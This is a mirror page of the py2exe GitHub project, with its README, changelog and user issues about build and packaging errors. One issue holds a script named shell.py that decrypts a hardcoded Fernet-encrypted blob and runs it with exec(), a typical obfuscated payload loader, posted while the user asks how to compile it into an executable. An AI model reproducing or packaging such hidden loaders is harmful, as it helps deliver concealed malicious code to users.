Giter Site home page Giter Site logo

py2exe / py2exe Goto Github PK

View Code? Open in Web Editor NEW
756.0 23.0 92.0 1.26 MB

Create standalone Windows programs from Python code

Home Page: http://www.py2exe.org

License: Other

Python 76.77% C 22.64% Batchfile 0.09% PowerShell 0.50%
py2exe python wheel packaging-python

py2exe's Introduction

py2exe for Python 3

py2exe is a software to build standalone Windows executable programs from Python scripts. py2exe can build console executables and windows (GUI) executables. py2exe supports the Python versions* included in the official development cycle.

Development of py2exe is hosted here: https://github.com/py2exe/py2exe.

Changes

The detailed changelog is published on GitHub.

Version 0.13.0.1:

  • improved the hook for pkg_resources to detect its vendored content automatically
  • the matplotlib hook now does not exclude wx automatically
  • adapted the hook for matplotlib to support their use of delvewheel
  • adapted the hooks for numpy and pandas to support the new .libs location

Version 0.13.0.0:

  • Add support for Python 3.11
  • Drop support for Python 3.7
  • Drop support for win32 wheels
    • win32 wheels are still built and shipped but are provided untested. Issues experienced when using these wheels will not be investigated. See #157 for further information.
  • Remove build_exe command line interface. Please use the py2exe.freeze API.

Version 0.12.0.2:

  • Support scipy versions newer than 1.9.2.
  • Fixed documentation for the py2exe.freeze API.

Version 0.12.0.1:

  • Fixed an issue that prevented builds via the deprecated setup.py API.

Version 0.12.0.0:

  • Introduce the new py2exe.freeze API. Documentation can be found here.
  • Use of the setup.py py2exe command and of distutils is deprecated as per PEP 632. Both these interfaces will be removed in the next major release. See here for a migration guide.
  • Add two hooks to fix the bundling of winrt and passlib.

Version 0.11.1.1:

  • The log file for windows apps is now stored in %APPDATA% by default
  • ModuleFinder now raises an explicit error if a required module is in excludes
  • Restore hook functionality for pkg_resources
  • The Stderr.write method used for windows apps now returns the number of written bytes

Version 0.11.1.0:

  • Drop support for Python 3.6
  • Include package metadata in the bundle archive (to be used by e.g. importlib.metadata)
  • Fixed a bug that prevented to use the optimize option when six was in the bundle
  • Fixed a bug that ignored the optimize flag for some packages

Version 0.11.0.1:

  • Show again relative paths in Tracebacks that happen from the frozen application (#12 and #114)

Version 0.11.0.0:

  • New module finder mf310 written as a wrapper around CPython modulefinder.ModuleFinder
  • Add support for Python 3.10
  • New hook for scipy
  • zipextimporter can now be built as a standalone extension via its own setup script

Version 0.10.4.1:

  • ModuleFinder: add support for the pkg_resources.extern.VendorImporter loader
  • New hooks for pkg_resources and infi

Version 0.10.4.0:

  • zipextimporter supports external modules that use multi-phase initialization (PEP 489)
  • New hook for selenium
  • dllfinder provides a new method to add data files in the zip archive

Version 0.10.3.1:

  • New hook for pycryptodomex
  • ModuleFinder: respect excludes list in import_package
  • Updated hook for matplotlib >= 3.4.0

Version 0.10.3.0:

  • New hook for supporting matplotlib 3.2 and higher.
  • Fix for including implicit namespace packages as per PEP420.

Version 0.10.2.1:

  • Patch MyLoadLibrary to support ssl with bundle_files=0.

Version 0.10.2.0:

  • New module finder with support for implicit namespace packages (PEP 420).
  • DLLFinder automatically excludes VC++ redist and Windows CRT DLLs from bundles.
  • Several fixes for bundling software with bundle_files<=2 (only the standard library is supported, other dependencies may or may not work).
  • New hooks for pycryptodome and shapely.

Version 0.10.1.0:

  • Add support for Python 3.9.
  • Drop support for Python 3.5.
  • New hooks for urllib3 and pandas.

Version 0.10.0.2 (from versions 0.9.x):

  • Introduce compatibility with Python 3.5, 3.6, 3.7, and 3.8.
  • Drop compatibility with Python 3.4 and earlier.
  • New or updated hooks for certifi, numpy, tkinter, socket, ssl, and six.
  • build_exe: the zipfile=None option has been removed.
  • runtime: the Python interpreter DLL is no longer altered before being inserted in the executable bundle.
  • Several bugfixes, better error messages.

Installation

pip install py2exe

Usage

Use the py2exe.freeze function as documented here.

Using a setup.py script or the builder

Using a setup.py script with py2exe is deprecated. Please adapt your scripts to use the new freeze API. This interface will be removed in the next major release.

The build_exe (or -m py2exe) CLI was removed in version 0.13.0.0.

Known issues and notes

  • High-level methods or hooks to embed Qt plugins in the bundle (needed by PySide2/PyQt5) are missing.
  • (*) win32 wheels are provided without testing. Users are encouraged to use the win_amd64 wheels (see #157).

Credits

Further informations about the original development of py2exe and other usage guidelines can be found in the original README.

py2exe's People

Contributors

albertosottile avatar charleypeng1 avatar compholio avatar dlaugt avatar dm-mitre avatar jretz avatar leejeonghun avatar lukaszgo1 avatar manueljacob avatar mhammond avatar musteresel avatar seahoh avatar urishab avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

py2exe's Issues

`inspect.stack` throws IndexError when looking for `__main__` (we think) but only rarely

Thats a fun bug title.

We're using py2exe to ship https://github.com/EDCD/EDMarketConnector and have had one bug report of an IndexError in inspect.getframeinfo -- EDCD/EDMarketConnector#798 We're not sure how this happened but are reasonably sure it wasnt us. I asked about in #python on freenode and the general response was that its probably py2exe, and I think asking here would be better than asking on python/cpython until I'm sure.

I hate to do it but I have no reproduction for this, we've got a large number of users and exactly one has this issue (that has reported it). As a workaround on our side we're gonna catch any exceptions that the inspect code spits out.

_ssl hook support for virtualenv

The DLLs directory isn't created for each virtualenv, so the libssl-*.dll and libcrypto-*.dll files the hook looks for need to be pulled from the parent/global python installation, which is where the _ssl.pyd comes from. Perhaps those file paths could be formed using module.__file__?

Error when using "Open with..." on a py2exe program

I'm trying to make my program built with py2exe utilize the Windows "Open with..." function. Running the program alone works fine, but when I try to run the program on a file using "Open with..." I get this error:

Traceback (most recent call last):
  File "amkeditor.pyw", line 993, in <module>
  File "tkinter\__init__.pyc", line 2023, in __init__
_tkinter.TclError: Can't find a usable init.tcl in the following directories: 
    {C:\Users\marag\Downloads\lib\tcl} C:/Users/marag/Downloads/lib/tcl8.6 {C:/Users/marag/Documents/Python Projects/AMK Editor/lib/tcl8.6} {C:/Users/marag/Documents/Python Projects/AMK Editor/lib/tcl8.6} {C:/Users/marag/Documents/Python Projects/lib/tcl8.6} {C:/Users/marag/Documents/Python Projects/AMK Editor/library} {C:/Users/marag/Documents/Python Projects/library} {C:/Users/marag/Documents/Python Projects/tcl8.6.9/library} C:/Users/marag/Documents/tcl8.6.9/library



This probably means that Tcl wasn't installed properly.

It looks like it's trying to find the "lib/tcl" folder, which is located in the same directory as the program, but for some reason it is searching the directory where the file that I used the "Open with..." function on instead. None of the paths in the error are where the "lib/tcl" folder is actually located, which is "C:/Users/marag/Documents/Python Projects/AMK Editor/dist/lib/tcl" Here is my py2exe setup.py:

from distutils.core import setup
import py2exe, sys, os

sys.argv.append('py2exe')

setup(
    options = {'py2exe': {'includes': ['tkinter'], 'bundle_files': 2, 'compressed': True}},
    windows = [{'script': 'amkeditor.pyw', 'icon_resources': [(1, 'amkeditor.ico')]}],
    zipfile = None
)

As I said before, this happens ONLY when using "Open with...". The program works correctly when opened alone.

certifi cacert.pem included at wrong path

The new py2exe 0.10.0 (yay! Python 3.8 support!) places the cacert.pem file from certifi in the wrong location.

py2exe puts it in the root of the application structure when certifi is expecting it in a certifi folder:

Traceback (most recent call last):
  File "<frozen zipimport>", line 177, in get_data
KeyError: 'certifi\\cacert.pem'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<frozen zipimport>", line 741, in open_resource
  File "<frozen zipimport>", line 179, in get_data
OSError: [Errno 0] : 'certifi\\cacert.pem'

py2exe: py2exe-0.10.0.0-cp38-none-win32.whl
python: 3.8.6 (x86 / 32-bit)
certifi: 2020.6.20

There's nothing in out setup.py mentioning certifi to modify py2exe behaviour. Relevant section (we have some MSI building and appcast stuff too) of setup.py:

    OPTIONS =  { 'py2exe':
                 {'dist_dir': dist_dir,
                  'optimize': 2,
                  'packages': [
                      'requests',
                      'sqlite3',        # Included for plugins
                  ],
                  'includes': [
                      'dataclasses',
                      'shutil',         # Included for plugins
                      'timeout_session',
                      'zipfile',        # Included for plugins
                  ],
                  'excludes': [ 'distutils', '_markerlib', 'optparse', 'PIL', 'pkg_resources', 'simplejson', 'unittest' ],
              }
    }

    DATA_FILES = [
        ('', [
            'WinSparkle.dll',
            'WinSparkle.pdb',   # For debugging - don't include in package
            'EUROCAPS.TTF',
            'Changelog.md',
            'commodity.csv',
            'rare_commodity.csv',
            'snd_good.wav',
            'snd_bad.wav',
            'modules.p',
            'ships.p',
            'stations.p',
            'systems.p',
            '%s.VisualElementsManifest.xml' % APPNAME,
            '%s.ico' % APPNAME,
            '%s/DLLs/sqlite3.dll' % (sys.base_prefix),
            'EDMarketConnector - TRACE.bat',
        ]),
        ('L10n', [join('L10n',x) for x in os.listdir('L10n') if x.endswith('.strings')]),
        ('plugins', PLUGINS),
    ]

setup(
    name = APPLONGNAME,
    version = VERSION,
    windows = [ {'dest_base': APPNAME,
                 'script': APP,
                 'icon_resources': [(0, '%s.ico' % APPNAME)],
                 'company_name': 'EDCD',  # WinSparkle
                 'product_name': APPNAME,  # WinSparkle
                 'version': BASEVERSION,
                 'product_version': VERSION,
                 'copyright': COPYRIGHT,
                 'other_resources': [(24, 1, open(APPNAME+'.manifest').read())],
             } ],
    console = [ {'dest_base': APPCMDNAME,
                 'script': APPCMD,
                 'company_name': 'EDCD',
                 'product_name': APPNAME,
                 'version': BASEVERSION,
                 'product_version': VERSION,
                 'copyright': COPYRIGHT,
                 'other_resources': [(24, 1, open(APPCMDNAME+'.manifest').read())],
             } ],
    data_files = DATA_FILES,
    options = OPTIONS,
)

Re: the sqlite3.dll thing, I'll look into if I can do this another way now with py2exe 0.10.0.

problem with CairoSVG/CairoCffi "._generated"

Hello,
I wanted to package a project (cewe2pdf) into a stand-alone application. I'm stuck at the following problem:
When I launch the .exe file, it fails to load the "._generated" package.
This package is part of the Cairo graphics package, and is located in c:\anaconda3\Lib\site-packages\cairocffi\_generated
This folder is always missing from the library.zip. I tried adding cairocffi._generatedthe folder name as include, but it would not allow this ("package not found").
I tried copying the folder to the /dist/ folder, but the error remains the same.

How can this be solved?

I read used the following setup.py:

from distutils.core import setup
import py2exe

 setup(console=['cewe2pdf.py'],
       options={"py2exe": {
           "packages": ['PIL', 'reportlab', 'lxml', 'cairosvg', 'cairocffi', 'urllib'],
           "bundle_files": 3,
           "compressed": False, }})

To get to this error, you also need to copy the VERSION file from /lib\site-packages\cairosvg to /dist, and the /lib\site-packages\cairocffi\VERSION to /dist/cairocffi/VERSION. Also do the same for cssselect2, and tinycss2.

Cant compile and errors

Heres the file shell.py

from cryptography.fernet import Fernet
import os
import sys
key = b'AZ4--Fzn_y61GxIcXUYFQ_992jA_TAnP5X60Ag-ZGkU='
f_obj = Fernet(key)
enc_pay = b'gAAAAABdiaiwa85zytusRla7Q3cIjDPOCuGM6A18W3ZSxNgWDRScCm3zNbTWfiNXRxjBOw5wfiZkk545-XKO7YF2zP3PzOrstCFt0hErnvR_EwF9BvVRA0Y5ATUwA4JsdYmD-_YkdNpinWD8Xu5g_oyZRPxs4JYJj70sA_fsXflp6enS2KljPzLmHtXJIIUs_QFvcWxRvlz7XSFtBQVTbdX6xSTpfUEQiaP3p3tDtsMUt45ku3wzuEybxQrMIvrzIYzAGHwgbbi9x3pqLtWzyxa0V_0TYRes92l8SGLkvqfXpNT8hm2W53voOCVrN44LeJ1qFuzCrm8w_O9ZLzWKspaleYKYKprava-KENkJOLOa9emlKnXalDQKO85-89eIdiuaymwKqp7Ds2mLNbCGPpb8Y_z5af-CgfnltAOScXj4BgVlta641t96meUGRGs3ROvEhsVl_HdhDN-JlgNTc7dZ94R8kCM49jP_bJX14XNM60S8tEItUZmBdI8ggsrzuQ_Eo9vC8FMAoZpdhIq4QQnvcQSaKmdpMvIl0B-No9IJsc2iA7gSF3jUlYPDn58ves1INPAjcii-p2zJFY0LySWeOqR5adnUz_0ltnHl7pU220zIYWmrSLpdOSQox3s4Po48rdAqp6vxPQ0hBnAQgLzGHE25ryvDHGud4wGCPs-uqCWm9_6MrSZ4s8Q6GYMY8HfVV0KoGCPsZuGS4Q4Pevjny9kpbMxxVrcthcobyWwzTShJxKlzoN6OOe9dfZeguJZqKLhFfWuhAmxkYZdZsLhbf6UUjPa3aENH164DuFhHrIqf6_UENPwFwv_4Xf09TF8YtYtflcp-Lyiw_XVm3zCf53NIzaJ_afePc0LwSaEgyliNSmfsokAbqYC1bXyAVRvnXO8wUxY7xsSXlzPYYrhKu2yuYGPZhhR8O7XZTVnm4lsIcBhJa7_sbVo4FEsvfCQLb0TYDIMgG-F88aXNw7IpnRKcy9lwJ-pFd9aC7CKDy9hufhAWvRGtMmUzBG9EEjupH8o2c-g3AxYkD0UOD9eec_hIsNcWoeUxZerjLPEWHxZbFx2w30ztKmoPJG-lwXFfHqSyFW5ZLWOk1TT_3-F6qtajdkJCORqezkkvcasYM3trqrS71amNxVLCV85ltQ3DpOWK2VzLE9KXBln2RX24cnI1tqYFzo1FjC6IpQFqz3l6c72aoURC9dEspm8CvGjSU2_fFCoO7Ps97tDO9lk0OCFxG11LtD_--MDBBhekj8VGqRfv-fjE-X-wVmFUkjSfsaZpj9YGocpv2cCn505bAWa4djJe78L_nFjZCYIPEkn51LXkZ9qHjlrObbyvNEQmyK8A-xHkyu8UMqE42GXnX-GP-4ZIJ65MhlT3HV5fAbF2b7VexmRSnLxQ1LB0plD3WtsvAOPcJskdSHVSGiqyC_NHXWRcirZ6VUzREFdcTuz1gYceCqUGjaMXbRNIAYSP_rAjlxUVfC9LmvruMZOWdxjWWbAf8i5q5qIA1sz87DV28hD-IA4udLgbYhVYl0vZztP7RQ4I'
exec(f_obj.decrypt(enc_pay))

Heres the setup.py file

from distutils.core import setup
import py2exe

setup( console=[{ "script": 'shell.py'},],
       options={"py2exe": {
            "bundle_files": 3,
            "packages": ['cryptography'],
            "includes": ['cryptography.fernet','imp','cffi','asn1crypto'],
            "excludes": ['pkg_resources','doctest', 'pdb', 'calendar', 'optparse', 'jsonschema', 'tornado', 'setuptools', 'matplotlib','time','calendar','idna','six.moves.urllib','calendar','ssl','time']}})

CMD log
Capture

Capture2

Python version : 3.7.4 (32-bit)
py2exe version : 0.9.3.1-cp37-none-win32

Tried different methods like bundle files,includes,excludes,packages but nothing works.

CACERT.pem cannot be found

When using py2exe 0.9.3.1 with the requests package and addressing an HTTPS address we need the CACERT.pem file and it is not found. Instead failing with the following message:

OSError: Could not find a suitable TLS CA certificate bundle, invalid path: C:\Projects\*****\******\lib\cacert.pem

This is probably due to the certifi hook copying the cacert.pem file under the name 'lib' (instead of under a folder named 'lib')
Later it looks for that file under a folder named 'lib' and doesn't find it.

I would have made a pull request to change it so the file is plaed without the 'lib' folder but I'm not sure if maybe there's a more elegant way of doing it. If there isn't I'll make a pull request for fixing it.

failure to compile with import NumPy AND pywin32 installed

Another odd issue I encountered.
Not sure if related or not to the previous Numpy issue.
This time If I import NumPy the file fails to compile using py2exe
It fails when trying to copy the pywin32 dll to the dist folder

Interestingly it only fails if I have pywin32 installed (python package).
If I uninstall pywin32 using pip I don't get the error during compile.
I do however get the error from the other issue when I try to run it.

This is with the mod I applied to py2exe on the previous issue (with the EXTENDED_ARG opcode).

The file test4.py:

import numpy
print('hello')

The setup file py2exe_test4.py:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test4.py",},],
       options={"py2exe": {
       }})

I run:
python py2exe_test4.py py2exe
My pip freeze:

numpy==1.16.2
py2exe==0.9.3.0
pywin32==224

The error I get:

Traceback (most recent call last):
  File "C:\Program Files\JetBrains\PyCharm Community Edition 2018.3.5\helpers\pydev\pydevd.py", line 1741, in <module>
    main()
  File "C:\Program Files\JetBrains\PyCharm Community Edition 2018.3.5\helpers\pydev\pydevd.py", line 1735, in main
    globals = debugger.run(setup['file'], None, None, is_module)
  File "C:\Program Files\JetBrains\PyCharm Community Edition 2018.3.5\helpers\pydev\pydevd.py", line 1135, in run
    pydev_imports.execfile(file, globals, locals)  # execute the script
  File "C:\Program Files\JetBrains\PyCharm Community Edition 2018.3.5\helpers\pydev\_pydev_imps\_pydev_execfile.py", line 18, in execfile
    exec(compile(contents+"\n", file, 'exec'), glob, loc)
  File "C:/Projects/py2exe/py2exe_test4.py", line 4, in <module>
    options={"py2exe": {
  File "c:\Python36\lib\distutils\core.py", line 148, in setup
    dist.run_commands()
  File "c:\Python36\lib\distutils\dist.py", line 955, in run_commands
    self.run_command(cmd)
  File "c:\Python36\lib\distutils\dist.py", line 974, in run_command
    cmd_obj.run()
  File "C:\Projects\py2exe\pyenv\lib\site-packages\py2exe\distutils_buildexe.py", line 192, in run
    self._run()
  File "C:\Projects\py2exe\pyenv\lib\site-packages\py2exe\distutils_buildexe.py", line 273, in _run
    builder.build()
  File "C:\Projects\py2exe\pyenv\lib\site-packages\py2exe\runtime.py", line 264, in build
    self.copy_files(destdir)
  File "C:\Projects\py2exe\pyenv\lib\site-packages\py2exe\runtime.py", line 508, in copy_files
    assert mod.__file__.endswith(EXTENSION_SUFFIXES[0])
AssertionError

During the error these are the values of the local parameters:
mod = Module(pywintypes, 'C:\\Projects\\py2exe\\pyenv\\lib\\site-packages\\pywin32_system32\\pywintypes36.dll')

Error while installing

I already installed C++ build tools

Screenshot 2020-11-06 162054

but py2exe still not installed successfully getting this error

Collecting py2exe
  Using cached py2exe-0.10.0.2.tar.gz (104 kB)
Requirement already satisfied: cachetools in c:\users\ahmer\appdata\local\programs\python\python39\lib\site-packages (from py2exe) (4.1.1)
Requirement already satisfied: pefile in c:\users\ahmer\appdata\local\programs\python\python39\lib\site-packages (from py2exe) (2019.4.18)
Requirement already satisfied: future in c:\users\ahmer\appdata\local\programs\python\python39\lib\site-packages (from pefile->py2exe) (0.18.2)
Building wheels for collected packages: py2exe
  Building wheel for py2exe (setup.py) ... error
  ERROR: Command errored out with exit status 1:
   command: 'c:\users\ahmer\appdata\local\programs\python\python39\python.exe' -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\Ahmer\\AppData\\Local\\Temp\\pip-install-q16pc2ps\\py2exe\\setup.py'"'"'; __file__='"'"'C:\\Users\\Ahmer\\AppData\\Local\\Temp\\pip-install-q16pc2ps\\py2exe\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' bdist_wheel -d 'C:\Users\Ahmer\AppData\Local\Temp\pip-wheel-8ba1ovgd'
       cwd: C:\Users\Ahmer\AppData\Local\Temp\pip-install-q16pc2ps\py2exe\
  Complete output (52 lines):
  running bdist_wheel
  running build
  running build_py
  creating build
  creating build\lib
  copying zipextimporter.py -> build\lib
  creating build\lib\py2exe
  copying py2exe\boot_common.py -> build\lib\py2exe
  copying py2exe\boot_ctypes_com_server.py -> build\lib\py2exe
  copying py2exe\boot_service.py -> build\lib\py2exe
  copying py2exe\build_exe.py -> build\lib\py2exe
  copying py2exe\distutils_buildexe.py -> build\lib\py2exe
  copying py2exe\dllfinder.py -> build\lib\py2exe
  copying py2exe\hooks.py -> build\lib\py2exe
  copying py2exe\icons.py -> build\lib\py2exe
  copying py2exe\mf3.py -> build\lib\py2exe
  copying py2exe\mf34.py -> build\lib\py2exe
  copying py2exe\patch_distutils.py -> build\lib\py2exe
  copying py2exe\pescan.py -> build\lib\py2exe
  copying py2exe\py2exe_distutils.py -> build\lib\py2exe
  copying py2exe\resources.py -> build\lib\py2exe
  copying py2exe\runtime.py -> build\lib\py2exe
  copying py2exe\setup_template.py -> build\lib\py2exe
  copying py2exe\versioninfo.py -> build\lib\py2exe
  copying py2exe\_wapi.py -> build\lib\py2exe
  copying py2exe\__init__.py -> build\lib\py2exe
  copying py2exe\__main__.py -> build\lib\py2exe
  copying py2exe\MIT-License.txt -> build\lib\py2exe
  copying py2exe\MPL2-License.txt -> build\lib\py2exe
  running build_interpreters
  building 'py2exe.run' extension
  creating build\temp.win-amd64-3.9
  creating build\temp.win-amd64-3.9\Release
  creating build\temp.win-amd64-3.9\Release\source
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYTHONDLL=\"python39.dll\" -D_CRT_SECURE_NO_WARNINGS=1 -DPy_BUILD_CORE=1 -Ic:\users\ahmer\appdata\local\programs\python\python39\include -Ic:\users\ahmer\appdata\local\programs\python\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tcsource/run.c /Fobuild\temp.win-amd64-3.9\Release\source/run.obj -IC:\Program Files\Microsoft SDKs\Windows\v7.0\Include -IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include -IC:\Program Files (x86)\Windows Kits\10\Include\10.0.10586.0\ucrt
  run.c
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYTHONDLL=\"python39.dll\" -D_CRT_SECURE_NO_WARNINGS=1 -DPy_BUILD_CORE=1 -Ic:\users\ahmer\appdata\local\programs\python\python39\include -Ic:\users\ahmer\appdata\local\programs\python\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tcsource/start.c /Fobuild\temp.win-amd64-3.9\Release\source/start.obj -IC:\Program Files\Microsoft SDKs\Windows\v7.0\Include -IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include -IC:\Program Files (x86)\Windows Kits\10\Include\10.0.10586.0\ucrt
  start.c
  source/start.c(284): error C2017: illegal escape sequence
  source/start.c(284): error C2001: newline in constant
  source/start.c(285): error C2143: syntax error: missing ')' before 'if'
  source/start.c(289): error C2065: 'hgbl': undeclared identifier
  source/start.c(289): warning C4047: '=': 'int' differs in levels of indirection from 'HGLOBAL'
  source/start.c(291): error C2065: 'hgbl': undeclared identifier
  source/start.c(291): warning C4022: 'LockResource': pointer mismatch for actual parameter 1
  source/start.c(292): error C2017: illegal escape sequence
  source/start.c(292): error C2001: newline in constant
  source/start.c(293): error C2143: syntax error: missing ')' before '}'
  source/start.c(292): error C2198: 'MyLoadLibrary': too few arguments for call
  source/start.c(299): error C2017: illegal escape sequence
  source/start.c(299): error C2001: newline in constant
  error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.27.29110\\bin\\HostX86\\x64\\cl.exe' failed with exit code 2
  ----------------------------------------
  ERROR: Failed building wheel for py2exe
  Running setup.py clean for py2exe
Failed to build py2exe
Installing collected packages: py2exe
    Running setup.py install for py2exe ... error
    ERROR: Command errored out with exit status 1:
     command: 'c:\users\ahmer\appdata\local\programs\python\python39\python.exe' -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\Ahmer\\AppData\\Local\\Temp\\pip-install-q16pc2ps\\py2exe\\setup.py'"'"'; __file__='"'"'C:\\Users\\Ahmer\\AppData\\Local\\Temp\\pip-install-q16pc2ps\\py2exe\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record 'C:\Users\Ahmer\AppData\Local\Temp\pip-record-_lim2giy\install-record.txt' --single-version-externally-managed --compile --install-headers 'c:\users\ahmer\appdata\local\programs\python\python39\Include\py2exe'
         cwd: C:\Users\Ahmer\AppData\Local\Temp\pip-install-q16pc2ps\py2exe\
    Complete output (52 lines):
    running install
    running build
    running build_py
    creating build
    creating build\lib
    copying zipextimporter.py -> build\lib
    creating build\lib\py2exe
    copying py2exe\boot_common.py -> build\lib\py2exe
    copying py2exe\boot_ctypes_com_server.py -> build\lib\py2exe
    copying py2exe\boot_service.py -> build\lib\py2exe
    copying py2exe\build_exe.py -> build\lib\py2exe
    copying py2exe\distutils_buildexe.py -> build\lib\py2exe
    copying py2exe\dllfinder.py -> build\lib\py2exe
    copying py2exe\hooks.py -> build\lib\py2exe
    copying py2exe\icons.py -> build\lib\py2exe
    copying py2exe\mf3.py -> build\lib\py2exe
    copying py2exe\mf34.py -> build\lib\py2exe
    copying py2exe\patch_distutils.py -> build\lib\py2exe
    copying py2exe\pescan.py -> build\lib\py2exe
    copying py2exe\py2exe_distutils.py -> build\lib\py2exe
    copying py2exe\resources.py -> build\lib\py2exe
    copying py2exe\runtime.py -> build\lib\py2exe
    copying py2exe\setup_template.py -> build\lib\py2exe
    copying py2exe\versioninfo.py -> build\lib\py2exe
    copying py2exe\_wapi.py -> build\lib\py2exe
    copying py2exe\__init__.py -> build\lib\py2exe
    copying py2exe\__main__.py -> build\lib\py2exe
    copying py2exe\MIT-License.txt -> build\lib\py2exe
    copying py2exe\MPL2-License.txt -> build\lib\py2exe
    running build_interpreters
    building 'py2exe.run' extension
    creating build\temp.win-amd64-3.9
    creating build\temp.win-amd64-3.9\Release
    creating build\temp.win-amd64-3.9\Release\source
    C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYTHONDLL=\"python39.dll\" -D_CRT_SECURE_NO_WARNINGS=1 -DPy_BUILD_CORE=1 -Ic:\users\ahmer\appdata\local\programs\python\python39\include -Ic:\users\ahmer\appdata\local\programs\python\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tcsource/run.c /Fobuild\temp.win-amd64-3.9\Release\source/run.obj -IC:\Program Files\Microsoft SDKs\Windows\v7.0\Include -IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include -IC:\Program Files (x86)\Windows Kits\10\Include\10.0.10586.0\ucrt
    run.c
    C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DPYTHONDLL=\"python39.dll\" -D_CRT_SECURE_NO_WARNINGS=1 -DPy_BUILD_CORE=1 -Ic:\users\ahmer\appdata\local\programs\python\python39\include -Ic:\users\ahmer\appdata\local\programs\python\python39\include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.27.29110\include -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.18362.0\cppwinrt /Tcsource/start.c /Fobuild\temp.win-amd64-3.9\Release\source/start.obj -IC:\Program Files\Microsoft SDKs\Windows\v7.0\Include -IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\include -IC:\Program Files (x86)\Windows Kits\10\Include\10.0.10586.0\ucrt
    start.c
    source/start.c(284): error C2017: illegal escape sequence
    source/start.c(284): error C2001: newline in constant
    source/start.c(285): error C2143: syntax error: missing ')' before 'if'
    source/start.c(289): error C2065: 'hgbl': undeclared identifier
    source/start.c(289): warning C4047: '=': 'int' differs in levels of indirection from 'HGLOBAL'
    source/start.c(291): error C2065: 'hgbl': undeclared identifier
    source/start.c(291): warning C4022: 'LockResource': pointer mismatch for actual parameter 1
    source/start.c(292): error C2017: illegal escape sequence
    source/start.c(292): error C2001: newline in constant
    source/start.c(293): error C2143: syntax error: missing ')' before '}'
    source/start.c(292): error C2198: 'MyLoadLibrary': too few arguments for call
    source/start.c(299): error C2017: illegal escape sequence
    source/start.c(299): error C2001: newline in constant
